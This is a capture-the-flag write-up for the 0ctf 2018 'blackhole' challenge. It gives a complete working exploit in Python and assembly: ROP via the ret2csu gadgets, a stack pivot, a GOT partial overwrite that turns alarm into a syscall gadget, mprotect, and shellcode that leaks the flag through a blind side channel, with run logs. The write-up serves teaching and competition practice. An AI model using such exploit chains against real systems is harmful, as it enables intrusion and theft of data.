0ctf 2018 quals - blackhole
Can get the flag from a black hole?
By the way, here is a so called return-to-csu method which you may want to know :P (though personally thought this should be well-known in 2018)
202.120.7.203:666
In memory of Stephen William Hawking (1942–2018). Attachment: blackhole libc pow.py xpl.py
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : PartialThough in contrary to babystack, we’re provided the used libc this time, but that doesn’t makes it easier to pwn it…
void main()
{
init_seccomp();
vuln();
}
void vuln()
{
char buf;
read(0, &buf, 256);
}So, we have an obvious buffer overflow here, but there are some seccomp rules in place, which only allow very few syscalls
readopenclosemprotectexitexit_group
limiting us pretty much in what we can do to exfiltrate the flag from the server. It seems, we won’t get the binary to print out anything to us, so no leaks and if we can read the flag, no way to send it back to us.
Well, let’s start with gaining rip access and executing functions. In order to use read for anything useful, we need to control rdi, rsi and rdx. While there are simple pop gadgets for rsi and rdi, there isn’t one for rdx.
But we can get around this, by using the following two gadgets in combination
gdb-peda$ x/7i 0x000000000400A4A
0x400a4a: pop rbx
0x400a4b: pop rbp
0x400a4c: pop r12
0x400a4e: pop r13
0x400a50: pop r14
0x400a52: pop r15
0x400a54: ret With this, we’ll control rbx, rbp, r12, r13, r14 and r15.
Combined with this one:
gdb-peda$ x/15i 0x0000000000400A30
0x400a30: mov rdx,r13
0x400a33: mov rsi,r14
0x400a36: mov edi,r15d
0x400a39: call QWORD PTR [r12+rbx*8]
0x400a3d: add rbx,0x1
0x400a41: cmp rbx,rbp
0x400a44: jne 0x400a30
0x400a46: add rsp,0x8
0x400a4a: pop rbx
0x400a4b: pop rbp
0x400a4c: pop r12
0x400a4e: pop r13
0x400a50: pop r14
0x400a52: pop r15
0x400a54: ret we thus control rdx, rsi and edi. The following call, will call any function, whose address is stored at r12 + rbx*8, and since we also control r12 and rbx, we can define, which function should be called.
# pop rbx / rbp / r12 / r13 / r14 / r15
PGAD = 0x000000000400A4A
# mov rdx, r13 / mov rsi, r14 / mov edi, r15 / call r12 + rbx*8
CALL = 0x0000000000400A30
def call_func(funcptr, rdi, rsi, rdx, rbx_after=0, rbp_after=0, r12_after=0, r13_after=0, r14_after=0, r15_after=0):
payload = ""
payload += p64(PGAD)
payload += p64(0x0) # rbx
payload += p64(0x1) # rbp (1 to get more calls)
payload += p64(funcptr) # r12 (func to call)
payload += p64(rdx) # r13 => rdx
payload += p64(rsi) # r14 => rsi
payload += p64(rdi) # r15 => rdi
payload += p64(CALL)
payload += "A"*8
payload += p64(rbx_after)
payload += p64(rbp_after)
payload += p64(r12_after)
payload += p64(r13_after)
payload += p64(r14_after)
payload += p64(r15_after)
return payloadWe’ll be using this to read another ropchain, with a bit more space and also to a known address:
log.info("Stage1: Prepare bigger ropchain (on bss)")
payload = ""
payload += "A"*32
payload += p64(0x601150)
...
payload += call_func(e.got["read"], 0, 0x601150, off, 0x0, 0x601150 -8)
payload += p64(LEAVERET)
payload += "B"*(256-len(payload))This reads another ropchain to 0x601150, puts 0x601150 - 8 into rbp and the following leave; ret will pivot the stack to this new ropchain.
Still, we only have calls to read and alarm available, but since we have the provided libc, we can abuse read to change this.
alarm:
000b8180 mov eax, 0x25
000b8185 syscall # we want to call this
000b8187 cmp rax, 0xfffffffffffff001
000b818d jae 0xb8190
000b818f retnSince the last 3 nibbles of an address won’t be randomized by ASLR, we can overwrite the LSB of alarm got with 0x85 to change it into a neat syscall gadget.
log.info("Stage2: Send second ropchain (known address)")
# overwrite LSB of alarm to get a syscall gadget
payload += call_func(e.got["read"], 0, e.got["alarm"], 1)
[SNIP]
# alarm => syscall gadget
payload += p8(0x85)So, now we can trigger a syscall by calling alarm@plt. We now just need a proper way to set rax to the desired syscall (we’ll be using mprotect (10)).
Again, we can use read for this, because it will store the count of read bytes in rax, so we’ll just be doing a read(0, 0x601500, 10), resulting in rax to be set to 0xa (10):
payload += call_func(e.got["read"], 0, 0x601500, 10) # set rax to mprotect Now we can call alarm@plt to trigger mprotect, which we use to set protection of bss to rwx:
payload += call_func(e.got["alarm"], 0x00601000, 0x1000, 0x7) # call mprotect(0x601000, 0x1000, 0x7)
payload += p64(0x6012e0) # jump to shellcode
payload += "flag\x00" # maybe we'll be needing this string ;)
payload = payload.ljust(656, "\x00")
payload += SC # shellcodeHaving an rwx bss, enables us to put some shellcode there and jump to it (with p64(0x6012e0)).
But still, seccomp will hurt us, if we try to print out the flag. So what else can we do.
Remember blind sql injection? Well, we can do something similar here:
- Open the flag file
- Read the string to a known address
- Get a character at a specific offset
- Compare it to a value
- If the character is bigger, jump to a
goodbranch (go into infinite loop for example), else to abadbranch (exit the program) - Check if the service is still available (condition met) or if it exited directly (condition not met)
context.arch = "amd64"
# Read flag and compare char at offset with comp value
# exit if condition false / loop if condition true
SC = """
mov rax, 2
mov rdi, 0x6012c0
mov rsi, 0
mov rdx, 0
syscall
xchg rax, rdi
xor rax, rax
mov rsi, 0x601600
mov rdx, 60
syscall
mov rcx, 0x601600
add rcx, %d
mov al, byte ptr [rcx]
cmp al, %d
jge good
bad:
mov rax, 60
syscall
good:
mov rax, 0
mov rdi, 0
mov rsi, 0x601500
mov rdx, 0x100
syscall
jmp good
""" % (offset, compval)We put the filename flag already into bss at 0x6012c0, so this shellcode will open it, read the content to 0x601600, get the byte at offset from 0x601600 and compare it with compval. If it’s greater or equal it will jump to good, which basically just puts the binary into an infinite loop. Otherwise it will exit directly.
Armed with this, we can write a testchar method, which will compare a value at a given offset with a specific compare value (It will need to open a connection for every test, though).
def testchar(offset, compval):
log.info("Solve pow")
sol = None
while sol == None:
r = get_connection()
sol = calcpow(r.recvline().strip())
if sol == None:
r.close()
r.send(sol)
log.info("Stage1: Prepare bigger ropchain (on bss)")
payload = ""
payload += "A"*32
payload += p64(0x601150)
context.arch = "amd64"
# Read flag and compare char at offset with comp value
# exit if condition false / loop if condition true
SC = """
mov rax, 2
mov rdi, 0x6012c0
mov rsi, 0
mov rdx, 0
syscall
xchg rax, rdi
xor rax, rax
mov rsi, 0x601600
mov rdx, 60
syscall
mov rcx, 0x601600
add rcx, %d
mov al, byte ptr [rcx]
cmp al, %d
jge good
bad:
mov rax, 60
syscall
good:
mov rax, 0
mov rdi, 0
mov rsi, 0x601500
mov rdx, 0x100
syscall
jmp good
""" % (offset, compval)
SC = asm(SC)
off = 656-256+len(SC)
payload += call_func(e.got["read"], 0, 0x601150, off, 0x0, 0x601150 -8)
payload += p64(LEAVERET)
payload += "B"*(256-len(payload))
log.info("Stage2: Send second ropchain (known address)")
# overwrite LSB of alarm to get a syscall gadget
payload += call_func(e.got["read"], 0, e.got["alarm"], 1)
payload += call_func(e.got["read"], 0, 0x601500, 10) # set rax to mprotect
payload += call_func(e.got["alarm"], 0x00601000, 0x1000, 0x7) # syscall
payload += p64(0x6012e0)
payload += "flag\x00"
payload = payload.ljust(656, "\x00")
payload += SC
# alarm => syscall gadget
payload += p8(0x85)
payload += "B"*(0x800-len(payload))
r.sendline(payload)
try:
r.recv(1, timeout=1) # check if service is still alive
r.close()
return True
except:
r.close()
return FalseThis method will return True or False, depending if our compare value is greater/equal to the current character in the file.
With this we can do a binary search for every character:
def brute_flag():
result = ""
# binary search => read flag
while (True):
range_low = 0
range_high = 128
for i in range(0, 8):
testch = (range_high + range_low)/2
print "Test: %s" % chr(testch)
res = testchar(len(result), testch)
if res:
range_low = testch
else:
range_high = testch
if testch == 0:
break
result += chr(testch)
print "Found: %s" % result
return resultThis will need 8 connections per character to find the correct character (and it has to solve the proof of work every time, so it will take even more sigh). So, grab a coffee, since this will take quite some time until the flag is finally found, but it will work out in the end :)
$ python blackhole.py 1
[*] '/home/kileak/pwn/Challenges/0ctf18/pwn/blackhole/blackhole'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Closed connection to 202.120.7.203 port 666
Test: @
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: `
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: p
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: h
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: d
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: f
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: g
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: f
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Closed connection to 202.120.7.203 port 666
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Found: f
Test: @
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: `
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: p
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: h
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: l
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: n
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: m
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: l
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Found: fl
Test: @
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Closed connection to 202.120.7.203 port 666
[SNIP]
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Found: flag{even_black_holes_leak_information_by_Hawking_radiation}
...That took some time, so I’m quite curious, if someone comes up with a more elegant and quicker method of getting the flag out of this, but well, a flag is a flag :)